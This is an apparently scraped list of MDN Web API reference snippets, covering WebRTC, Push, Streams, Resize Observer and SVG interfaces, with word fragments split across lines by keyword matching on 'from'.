PerformanceResourceTiming.requestStart - Web APIs
the requeststart read-only property returns a timestamp of the time immediately before the browser starts requesting the resource
from the server, cache, or local resource.
... syntax resource.requeststart; return value a domhighrestimestamp representing the time immediately before the browser starts requesting the resource
from the server example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
PerformanceResourceTiming.responseStart - Web APIs
the responsestart read-only property returns a timestamp immediately after the browser receives the first byte of the response
from the server, cache, or local resource.
... syntax resource.responsestart; return value a domhighrestimestamp immediately after the browser receives the first byte of the response
from the server.
PeriodicWave - Web APIs
you can think of it as the result of a fourier transform, where you get
frequency domain values
from time domain value.
... here, with createperiodicwave(), you specify the
frequencies, and the browser performs an inverse fourier transform to get a time domain buffer for the
frequency of the oscillator.
Using the Permissions API - Web APIs
some apis have more complex permissiondescriptors containing additional information, which inherit
from the default permissiondescriptor.
...if we choose to never share our location
from the permission prompt (deny permission), then we can't get back to the permission prompt without using the browser menu options: firefox: tools > page info > permissions > access your location.
PointerEvent.getCoalescedEvents() - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 45safari no support nowebview android full support 58chrome android full support 58firefox android partial support 59disabled partial support 59disabled disabled
from version 59: this feature is behind the dom.w3c_pointer_events.enabled preference (needs to be set to true).
ProcessingInstruction - Web APIs
a processing instruction is different
from the xml declaration.
... the processinginstruction interface inherits methods and properties
from node.
ProgressEvent - Web APIs
properties also inherits properties
from its parent event.
... methods also inherits methods
from its parent event.
PromiseRejectionEvent() - Web APIs
syntax promiserejectionevent = promiserejectionevent(type, options); parameters the promiserejectionevent() constructor also inherits parameters
from event().
...this can be anything
from a numeric error code to an error domstring to an object which contains detailed information describing the situation resulting in the promise being rejected.
PromiseRejectionEvent - Web APIs
properties also inherits properties
from its parent event.
... methods this interface has no unique methods; inherits methods
from its parent event.
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() - Web APIs
a user-verifying platform authenticator is a kind of multi-factor authenticator that is part of the client device (it is generally not removable) and that involves an action
from the user in order to identify them.
... note: this method may only be used in top-level contexts and will not be available in an <i
frame> for example.
PublicKeyCredential.rawId - Web APIs
note: this property may only be used in top-level contexts and will not be available in an <i
frame> for example.
... examples var options = { challenge: new uint8array(26) /*
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var rawid = pubkeycredential.rawid; // do something with rawid }).
PublicKeyCredentialCreationOptions.attestation - Web APIs
"indirect": the client may change the assertion
from the authenticator (for instance, using an anonymization ca).
... examples var publickey = { attestation: "indirect", challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with t...
PushManager.getSubscription() - Web APIs
example this code snippet is taken
from a push messaging and notification sample.
... serviceworkerregistration.pushmanager.getsubscription() .then(function(subscription) { // enable any ui which subscribes / unsubscribes
from // push messages.
PushManager.hasPermission() - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...sktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethaspermission experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled
from version 16: this feature is behind the enable service workers preference.
PushManager.supportedContentEncodings - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...hromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupportedcontentencodings experimentalchrome full support 60edge full support 16disabled full support 16disabled disabled
from version 16: this feature is behind the enable service workers preference.
PushManager - Web APIs
the pushmanager interface of the push api provides a way to receive notifications
from third-party servers as well as request urls for push notifications.
... example this.onpush = function(event) { console.log(event.data); //
from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
PushSubscription - Web APIs
the pushsubscription interface of the push api provides a subcription's url endpoint and allows unsubscription
from a push service.
... pushsubscription.unsubscribe() starts the asynchronous process of unsubscribing
from the push service, returning a promise that resolves to a boolean when the current subscription is successfully unregistered.
RTCAnswerOptions - Web APIs
the rtcansweroptions dictionary is used to provide optional settings when creating an sdp answer using rtcpeerconnection.createoffer() after receiving an offer
from a remote peer.
... properties this dictionary inherits properties
from the rtcofferansweroptions dictionary, on which it's based.
RTCDataChannel.send() - Web APIs
specifications exist to define how to automatically
fragment large messages, but not all browsers implement them, and those that do have various additional restrictions.
... exceptions invalidstateerror since the data channel uses a separate transport channel
from the media content, it must establish its own connection; if it hasn't finished doing so (that is, its readystate is "connecting"), this error occurs without sending or buffering the data.
RTCIceCandidate.port - Web APIs
as is the case with most of rtcicecandidate's properties, the value of port is extracted
from the candidate a-line string specified when creating the rtcicecandidate.
... the a-line string is obtained either
from the rtcicecandidateinit property candidate or
from a-line string passed into the constructor upon using new rtcicecandidate().
RTCIceCandidate.priority - Web APIs
as is the case with most of rtcicecandidate's properties, the value of priority is extracted
from the candidate a-line string specified when creating the rtcicecandidate.
... the a-line string is obtained either
from the rtcicecandidateinit property candidate or
from an a-line string passed into rtcpeerconnection.addicecandidate() instead of an rtcicecandidate.
RTCIceCandidate.protocol - Web APIs
the value is automatically extracted
from the candidate a-line, if it's formatted properly.
... usage notes here's an example candidate a-line
from an ice transaction: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the third field, "udp", is the protocol type, indicating that the candidate would use the udp transport protocol.
RTCIceCandidate.sdpMid - Web APIs
if you call the constructor with an m-line string instead of an rtcicecandidateinit object, the value of sdpmid is extracted
from the specified candidate m-line string.
... syntax var sdpmid = rtcicecandidate.sdpmid; value a domstring which uniquely identifies the source media component
from which the candidate draws data, or null if no such association exists for the candidate.
RTCIceCandidateInit.candidate - Web APIs
value a domstring describing the properties of the candidate, taken directly
from the sdp attribute "candidate".
...the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example when a new ice candidate is received by your signaling code
from the remote peer, you need to construct the rtcicecandidate object that encapsulates it.
RTCIceCandidateInit - Web APIs
it's also used as the return value
from the rtcicecandidate.tojson() method, and can be passed directly into rtcpeerconnection.addicecandidate() to add a candidate to the peer connection.
... username
fragment optional a domstring containing a string which uniquely identifies the remote peer.
RTCIceCandidatePair.local - Web APIs
example this one-line example simply obtains the current candidate pair and then
from that gets the local candidate.
...in the first rtcrtpsender, we get the rtcdtlstransport over which the media data is being transmitted and finally,
from that, the rtcicetransport.
RTCIceCandidatePair.remote - Web APIs
example this one-line example simply obtains the current candidate pair and then
from that gets the remote candidate.
...in the first rtcrtpsender, we get the rtcdtlstransport over which the media data is being transmitted and finally,
from that, the rtcicetransport.
RTCIceCandidatePairStats.readable - Web APIs
syntax isreadable = rtcicecandidatepairstats.readable; value a boolean value which is true if the connection described by this candidate pair has received at least one valid ice request, and is therefore ready to be read
from.
... note: this property was removed
from the specification in early 2017 because you can determine whether or not the connection is readable by checking to see if requestsreceived is greater than 0: if (icpstats.requestsreceived > 0) { /* at least one ice request has been received */ } ...
RTCIceCandidatePairStats.transportId - Web APIs
syntax transportid = rtcicecandidatepairstats.transportid; value a domstring which uniquely identifies the rtcicetransport object
from which the transport-related data was obtained for the statistics contained in this rtcicecandidatepairstats object.
... the transport-related statistics come
from the rtctransportstats dictionary's properties.
RTCIceCandidateStats.transportId - Web APIs
the rtcicecandidatestats dictionary's transportid property is a string that uniquely identifies the transport that produced the rtctransportstats
from which information about this candidate was taken.
... syntax transportid = rtcicecandidatestats.transportid; value a domstring whose value uniquely identifies the transport
from which any transport-related information accumulated in the rtcicecandidatestats was taken.
RTCIceCandidateStats.url - Web APIs
the rtcicecandidatestats dictionary's url property specifies the url of the ice server
from which the described candidate was obtained.
... syntax url = rtcicecandidatestats.url; value a domstring specifying the url of the ice server
from which the candidate described by the rtcicecandidatestats was obtained.
RTCIceCandidateStats - Web APIs
networktype optional a string
from the rtcnetworktype enumerated type which indicates the type of interface used for a local candidate.
... url optional for local candidates, the url property is the url of the ice server
from which the candidate was received.
RTCIceCandidateType - Web APIs
these strings are taken directly
from the candidate a-line in sdp.
... relay the candidate is a relay candidate, obtained
from a turn server.
RTCIceParameters.password - Web APIs
the rtciceparameters dictionary's password property specifies the ice password that, in tandem with the username
fragment, uniquely identifies an ice session for its entire duration.
... syntax password = rtciceparameters.password; value a domstring containing the password that corresponds to the transport's username
fragment string specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.password' in that specification.
RTCIceServer.url - Web APIs
it was removed
from the specification in june 2013 but is still broadly used in older examples and books, so we include documentation here to help adapt old code to new browsers.
... this property has been removed
from the specification; while it's still supported by many browsers, it should no longer be used.
RTCIceTransport.getSelectedCandidatePair() - Web APIs
usage notes as the ice agent performs negotiation of a rtcpeerconnection, it gathers and analyzes candidate configurations
from each the two peers.
...
from that time forward, the best matching pair of candidates will always be available by calling getselectedcandidatepair().
RTCIceTransport.ongatheringstatechange - Web APIs
the transport won't gather any further candidates unless an ice restart occurs, at which point the gathering process starts over
from scratch.
... example this snippet establishes a handler for the gatheringstatechange event that checks to see if the state has changed to "complete", indicating that all ice candidates
from both the local and remote peers have been received and processed.
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
the lastpacketreceivedtimestamp property of the rtcinboundrtpstreamstats dictionary indicates the time at which the most recently received packet arrived
from this source.
... note: this value differs
from the timestamp, which represents the time at which the statistics object was created.
RTCOfferOptions.iceRestart - Web APIs
syntax var options = { icerestart: trueorfalse }; value a boolean value indicating whether or not the rtcpeerconnection should generate new values for the connection's ice-u
frag and ice-pwd values, which will trigger ice renegotiation on the next message sent to the remote peer.
... fundamentally, this renegotiation is triggered by generating and using new values for the ice username
fragment ("u
frag")}} example this example shows a handler for the iceconnectionstatechange event.
RTCOutboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcoutboundrtpstreamstats dictionary is a numeric value indicating the number of times the rtcrtpsender described by this object received a nack packet
from the remote receiver.
... syntax var nackcount = rtcoutboundrtpstreamstats.nackcount; value an integer value indicating how many times the sender received a nack packet
from the receiver, indicating the loss of one or more packets.
RTCOutboundRtpStreamStats.qualityLimitationReason - Web APIs
this quality reduction may include changes such as reduced
frame rate or resolution, or an increase in compression factor.
... syntax var qualitylimitationreason = rtcoutboundrtpstreamstats.qualitylimitationreason; value a map whose keys are domstrings whose values come
from the rtcqualitylimitationreason enumerated type, and whose values are the duration of the media, in seconds, whose quality was reduced for that reason.
RTCPeerConnection.addStream() - Web APIs
example this simple example adds the audio and video stream coming
from the user's camera to the connection.
...you can write web compatible code using feature detection instead: // add a track to a stream and the peer connection said stream was added to: stream.addtrack(track); if (pc.addtrack) { pc.addtrack(track, stream); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } // remove a track
from a stream and the peer connection said stream was added to: stream.removetrack(track); if (pc.removetrack) { pc.removetrack(pc.getsenders().find(sender => sender.track == track)); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } specifications specification status comment ...
RTCPeerConnection: addstream event - Web APIs
important: this event has been removed
from the webrtc specification.
... bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onaddstream you can, similarly, watch for streams to be removed
from the connection by monitoring the removestream event.
RTCPeerConnection.createOffer() - Web APIs
the implementation of the signaling server is independent
from the webrtc specification, so it doesn't matter how the offer is sent as long as both the caller and potential receiver are using the same one.
... see signaling and video calling for the complete example
from which this snippet is derived; this will help you to understand how the signaling code here works.
RTCPeerConnection: iceconnectionstatechange event - Web APIs
however, under certain circumstances, the connected state can be skipped, causing a connection to transition directly
from the checking state to completed.
... ice connection state during ice restarts when an ice restart is processed, the gathering and connectivity checking process is started over
from the beginning, which will cause the iceconnectionstate to transition to connected if the ice restart was triggered while in the completed state.
RTCPeerConnection.onremovestream - Web APIs
the removestream event has been removed
from the webrtc specification in favor of the existing removetrack event on the remote mediastream and the corresponding mediastream.onremovetrack event handler property of the remote mediastream.
...such an event is sent when a mediastream is removed
from this connection.
RTCPeerConnection.ontrack - Web APIs
example this example, taken
from the code for the article signaling and video calling, connects the incoming track to the <video> element which will be used to display the incoming video.
...the second line of code simply enables a "hang up" button, which the user can use to disconnect
from the call.
RTCPeerConnection.removeTrack() - Web APIs
the rtcpeerconnection.removetrack() method tells the local end of the connection to stop sending media
from the specified track, without actually removing the corresponding rtcrtpsender
from the list of senders as reported by rtcpeerconnection.getsenders().
... syntax pc.removetrack(sender); parameters mediatrack a rtcrtpsender specifying the sender to remove
from the connection.
RTCPeerConnection: removestream event - Web APIs
the obsolete removestream event was sent to an rtcpeerconnection to inform it that a mediastream had been removed
from the connection.
... bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onremovestream important: this event has been removed
from the webrtc specification in favor of the existing removetrack event on the remote mediastream and the corresponding mediastream.onremovetrack event handler property of the remote mediastream.
RTCPeerConnection.setConfiguration() - Web APIs
this happens if configuration.peeridentity or configuration.certificates is set and their values differ
from the current configuration.
...
from there, we handle the process as usual, by setting the local description to the returned offer and then sending that offer to the other peer.
RTCPeerConnectionIceEvent() - Web APIs
"bubbles" (optional, default is false): inherited
from eventinit(), this boolean option indicates whether or not the event must bubble.
... "cancelable" (optional, default is false, inherited
from eventinit(), this boolean indicates whether or not the event can be canceled.
RTCRemoteOutboundRtpStreamStats - Web APIs
this is different
from the timestamp found in the base rtcstats dictionary; it represents the time at which the object's statistics were received or generated by the local endpoint.
... usage notes the rtcremoteoutboundrtpstreamstats object's remotetimestamp proeprty provides statistics based on the received data's ntp timestamp taken
from an rtcp sender report (sr) block.
RTCRtpCodecParameters - Web APIs
sdpfmtpline optional a domstring containing the format-specific parameters field
from the "a=fmtp" line in the codec's sdp, if one is present; see section 5.8 of the ietf specification for jsep.
... note: on an rtcrtpreceiver, the format-specific parameters come
from the sdp sent by the remote peer, while for rtcrtpsender, they're provided by the local description.
RTCRtpContributingSource.timestamp - Web APIs
the read-only timestamp property of the rtcrtpcontributingsource interface returns a domhighrestimestamp indicating the most recent time of playout of an rtp packet
from the source.
... syntax var domhighrestimestamp = rtcrtpcontributingsource.timestamp value a domhighrestimestamp which indicates the time at which the most recent rtp packet
from the corresponding source was played out.
RTCRtpContributingSource - Web APIs
properties audiolevel optional a double-precision floating-point value between 0 and 1 specifying the audio level contained in the last rtp packet played
from this source.
... timestamp optional a domhighrestimestamp indicating the most recent time at which a
frame originating
from this source was delivered to the receiver's mediastreamtrack specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcontributingsource' in that specification.
RTCRtpEncodingParameters.maxBitrate - Web APIs
other parameters may further reduce the bandwidth used by the track; for example, max
framerate will, if set low enough, constrain the bandwidth as well.
... this value is computed using the standard transport independent application specific maximum (tias) bandwidth as defined by rfc 3890, section 6.2.2; this is the maximum bandwidth needed without considering protocol overheads
from ip, tcp or udp, and so forth.
RTCRtpTransceiver.setCodecPreferences() - Web APIs
when preparing to open an rtcpeerconnection, you can change the codec parameters
from the user agent's default configuration by calling setcodecparameters() before calling either rtcpeerconnection.createoffer() or createanswer().
... to determine which codecs are supported by the transceiver, call the sender's getcapabilities() and the receiver's getcapabilities() methods and get the codecs list
from the results of each.
RTCSctpTransport - Web APIs
properties also inherits properties
from: eventtarget rtcsctptransport.maxchannelsread only an integer value indicating the maximum number of rtcdatachannels that can be open simultaneously.
... methods this interface has no methods, but inherits methods
from: eventtarget example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport' in that specification.
RTCSessionDescription() - Web APIs
the session negotiation process begins with an offer being sent
from the caller to the callee.
... navigator.getusermedia({video: true}, function(stream) { pc.onaddstream({stream: stream}); // adding a local stream won't trigger the onaddstream callback pc.addstream(stream); pc.createoffer(function(offer) { pc.setlocaldescription(new rtcsessiondescription(offer), function() { // send the offer to a server to be forwarded to the
friend you're calling.
RTCStats.type - Web APIs
the rtcstats dictionary's property type is a string which specifies the type of statistic represented by the object, where the permitted values are drawn
from the enum type rtcstatstype.
...the string comes
from the rtcstatstype enum and corrsponds to one of the rtcstats-based statistic object types.
RTCStatsIceCandidatePairState - Web APIs
frozen no check has been performed yet for this candidate pair, and performing the check is blocked until another check is successful.
... once that check has succeeded, this pair will un
freeze and move into the waiting state.
RTCTrackEvent - Web APIs
constructor rtctrackevent() creates and returns a new rtctrackevent object, initialized with properties taken
from the specified rtctrackeventinit dictionary.
... you will probably not need to create new track events yourself, since they're typically created by the webrtc in
frastructure and sent to the connection's ontrack event handler.
Range.commonAncestorContainer - Web APIs
html <ul> <li>strings <ul> <li>cello</li> <li>violin <ul> <li>first chair</li> <li>second chair</li> </ul> </li> </ul> </li> <li>woodwinds <ul> <li>clarinet</li> <li>oboe</li> </ul> </li> </ul> css the .highlight class created below uses a set of css @key
frames to animate a fading outline.
... .highlight { animation: highlight linear 1s; } @key
frames highlight {
from { outline: 1px solid #f00f; } to { outline: 1px solid #f000; } } body { padding: 1px; } javascript document.addeventlistener('pointerup', e => { const selection = window.getselection(); if (selection.type === 'range') { for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); playanimation(range.commonancestorcontainer); } } }); function playanimation(el) { if (el.nodetype === node.text_node) { el = el.parentnode; } el.classlist.remove('highlight'); settimeout(() => { el.classlist.add('highlight'); }, 0); } result specifications specification status comment domthe definition of 'range.commonance...
Range.deleteContents() - Web APIs
the range.deletecontents() method removes the contents of the range
from the document.
... unlike range.extractcontents(), this method does not return a document
fragment containing the deleted content.
Range.setEnd() - Web APIs
endoffset an integer greater than or equal to zero representing the offset for the end of the range
from the start of endnode.
... usage notes if the endnode is a node of type text, comment, or cdatasection, then endoffset is the number of characters
from the start of endnode.
ReadableStream.tee() - Web APIs
you might do this for example in a serviceworker if you want to fetch a response
from the server and stream it to the browser, but also stream it to the serviceworker cache.
...teeing a stream will generally lock it for the duration, preventing other readers
from locking it.
ReadableStream - Web APIs
constructor readablestream() creates and returns a readable stream object
from the given handlers.
... examples in the following example, an artificial response is created to stream html
fragments fetched
from another resource to the browser.
ReadableStreamDefaultReader - Web APIs
the readablestreamdefaultreader interface of the streams api represents a default reader that can be used to read stream data supplied
from a network (e.g.
... examples in the following example, an artifical response is created to stream html
fragments fetched
from another resource to the browser.
Reporting API - Web APIs
origins and endpoints each unique origin you want to retrieve reports for can be given a series of endpoints, which are urls that can receive given reports
from a user agent.
... a reportingobserver object is created using the reportingobserver() constructor, which is passed two parameters: a callback function that has available as parameters the reports available in the observer's report queue, and a copy of the same reportingobserver object, so observation can be controlled directly
from inside the callback.
Request.credentials - Web APIs
the credentials read-only property of the request interface indicates whether the user agent should send cookies
from the other domain in the case of cross-origin requests.
... syntax var mycred = request.credentials; value a requestcredentials dictionary value indicating whether the user agent should send cookies
from the other domain in the case of cross-origin requests.
Request - Web APIs
request.context read only contains the context of the request (e.g., audio, image, i
frame, etc.) request.credentials read only contains the credentials of the request (e.g., omit, same-origin, include).
... request.destination read only returns a string
from the requestdestination enum describing the request's destination.
ResizeObserver() - Web APIs
observer a reference to the resizeobserver itself, so it will definitely be accessible
from inside the callback, should you need it.
... the callback will generally follow a pattern along the lines of: function(entries, observer) { for (let entry of entries) { // do something to each entry // and possibly something to the observer itself } } examples the following snippet is taken
from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.ma...
ResizeObserverEntry.contentRect - Web APIs
note that this is better supported than resizeobserverentry.borderboxsize or resizeobserverentry.contentboxsize, but it is left over
from an earlier implementation of the resize observer api, is still included in the spec for web compat reasons, and may be deprecated in future versions.
... examples the following snippet is taken
from the resize-observer-text.html (see source) example.
ResizeObserverEntry - Web APIs
note that this is better supported than the above two properties, but it is left over
from an earlier implementation of the resize observer api, is still included in the spec for web compat reasons, and may be deprecated in future versions.
... examples the following snippet is taken
from the resize-observer-text.html (see source) example.
Response.redirected - Web APIs
relying on redirected to filter out redirects makes it easy for a forged redirect to prevent your content
from working as expected.
... examples detecting redirects checking to see if the response comes
from a redirected request is as simple as checking this flag on the response object.
SVGAltGlyphDefElement - Web APIs
properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
format - Web APIs
syntax string = myglyph.format; myglyph.format = string; value the format values listed below are taken
from css2([css2], section15.3.5).
... string font format examples of common extensions truedoc-p
fr truedoc™ portable font resource .p
fr embedded-opentype embedded opentype .eot type-1 postscript™ type 1 .pfb, .pfa truetype truetype .ttf opentype opentype, including truetype open .ttf truetype-gx truetype with gx extensions - speedo speedo - intellifont intellifont - example myglyph.format = "truedoc-p
fr"; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format' in that specification.
SVGAltGlyphElement - Web APIs
properties this interface also inherits properties
from its parent interface, svggraphicselement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGAltGlyphItemElement - Web APIs
properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
SVGAnimateColorElement - Web APIs
0" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatecolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svganimationelement.
... methods this interface has no methods but inherits methods
from its parent, svganimationelement.
SVGAnimateMotionElement - Web APIs
" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="136" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatemotionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svganimationelement.
... methods this interface has no methods but inherits methods
from its parent, svganimationelement.
SVGAnimateTransformElement - Web APIs
eight="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatetransformelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svganimationelement.
... methods this interface has no methods but inherits methods
from its parent, svganimationelement.
SVGAnimatedAngle - Web APIs
the object referenced by animval will always be distinct
from the one referenced by baseval, even when the attribute is not animated.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedEnumeration - Web APIs
svg animated enumeration interface the svganimatedenumeration interface is used for attributes whose value must be a constant
from a particular enumeration and which can be animated.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedLengthList - Web APIs
the object referenced by animval will always be distinct
from the one referenced by baseval, even when the attribute is not animated.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedNumberList - Web APIs
the object referenced by animval will always be distinct
from the one referenced by baseval, even when the attribute is not animated.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedPreserveAspectRatio - Web APIs
the object referenced by animval is always distinct
from the one referenced by baseval, even when the attribute is not animated.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedRect - Web APIs
the object referenced by animval will always be distinct
from the one referenced by baseval, even when the attribute is not animated.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedString - Web APIs
the svganimatedstring interface represents string attributes which can be animated
from each svg declaration.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedTransformList - Web APIs
the object referenced by animval will always be distinct
from the one referenced by baseval, even when the attribute is not animated.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimationElement - Web APIs
91" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svgelement.
... methods this interface also inherits methods
from its parent, svgelement.
SVGCursorElement - Web APIs
="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcursorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svgelement, and implements properties
from svgurireference.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent, svgelement.
SVGEllipseElement - Web APIs
-129" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-44" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgellipseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svggeometryelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggeometryelement.
SVGFEFloodElement - Web APIs
"#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefloodelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement, and implements properties
from svgfilterprimitivestandardattributes.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement, and implements methods
from svgfilterprimitivestandardattributes.
SVGFontElement - Web APIs
width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement and implements properties
from svgexternalresourcesrequired and svgstylable.
... methods this interface has no methods but inherits methods
from its parent, svgelement and implements methods
from svgexternalresourcesrequired and svgstylable.
SVGFontFaceElement - Web APIs
h="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGFontFaceFormatElement - Web APIs
height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceformatelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGFontFaceNameElement - Web APIs
0" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacenameelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGFontFaceSrcElement - Web APIs
10" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacesrcelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGFontFaceUriElement - Web APIs
10" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceurielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGGeometryElement - Web APIs
properties this interface also inherits properties
from its parent, svggraphicselement.
... methods this interface also inherits methods
from its parent, svggraphicselement.
SVGGlyphElement - Web APIs
properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
SVGGlyphRefElement - Web APIs
